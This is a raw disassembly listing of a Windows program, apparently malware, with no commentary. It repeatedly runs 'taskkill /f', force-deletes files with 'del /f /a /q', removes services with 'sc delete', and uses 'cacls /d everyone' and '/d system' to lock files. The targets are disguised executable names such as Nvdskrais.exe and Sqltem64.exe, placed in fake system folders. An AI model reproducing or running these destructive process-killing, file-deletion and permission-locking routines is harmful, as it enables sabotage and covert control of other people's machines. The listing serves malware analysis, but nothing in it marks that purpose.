push 0
push dword [ebp - 4]
push 1
mov eax, str.Nvdskrais.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x438d44
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_Nvdskrais.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._systemroot_SystemBolsNvdskrais.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:WindowsSystemBolsNvdskrais.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__systemroot_SystemBolsNvdskrais.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__systemroot_SystemBols
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:WindowsSystemBolsNvdskrais.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:WindowsSystemBols
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.NVDispla64.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x438f35
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_NVDispla64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_NctiveStecNVDispla64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_NctiveStecNVDispla64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_NctiveStecNVDispla64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_NctiveStecNVDispla64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_NctiveStec
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_NctiveStecNVDispla64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_NctiveStecNVDispla64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.Nvdskrais.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43915c
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_Nvdskrais.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__NVIDIA_windows_dribs_container_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__NVIDIA_windows_dribs_container_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.Diskraid.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x439275
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_Diskraid.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._systemroot_SystemBolsDiskraid.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:WindowsSystemBolsDiskraid.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__systemroot_SystemBolsDiskraid.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:WindowsSystemBolsDiskraid.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.Sqltem64.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4393fa
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_Sqltem64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_SQL_ServerSqltem64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_SQL_ServerSqltem64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_SQL_ServerSqltem64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_SQL_ServerSqltem64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_SQL_ServerSqltem64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_SQL_ServerSqltem64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.Diskraid.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4395eb
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_Diskraid.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__dorporati_windows_dribe_diskraid_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__dorporati_windows_dribe_diskraid_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.AppVNice.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x439704
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_AppVNice.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._systemroot_SystemBolsAppVNice.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:WindowsSystemBolsAppVNice.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__systemroot_SystemBolsAppVNice.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:WindowsSystemBolsAppVNice.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.Systen64.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x439889
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_Systen64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_SystelAppSysten64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_SystelAppSysten64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_SystelAppSysten64.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_SystelAppSysten64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_SystelAppSysten64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_SystelAppSysten64.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.AppVNice.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x439a7a
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_AppVNice.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Norporati_Windows_AppVNice_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Norporati_Windows_AppVNice_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.assm.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x439b93
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_assm.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_assm.exe__t__e__c__d_everyone
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_assm.exe__t__e__c__d_system
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.SqlManagement.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x439cc4
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SqlManagement.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_SqlManagement.exe__t__e__c__d_everyone
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_SqlManagement.exe__t__e__c__d_system
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.SystemManagement.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x439df5
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SystemManagement.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_SystemManagement.exe__t__e__c__d_everyone
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_SystemManagement.exe__t__e__c__d_system
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.msinfo.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x439f26
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_msinfo.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_msinfo.exe__t__e__c__d_everyone
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_msinfo.exe__t__e__c__d_system
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.rundlls.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43a057
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_rundlls.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_rundlls.exe__t__e__c__d_everyone
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_rundlls.exe__t__e__c__d_system
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.conhoy.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43a188
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhoy.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_conhoy.exe__t__e__c__d_everyone
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_conhoy.exe__t__e__c__d_system
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sysdo.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sysdo.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.sysdo.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43a355
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 4], eax
push str.sysdo.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x43a3bb
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x43a3ce
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43a3f1
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
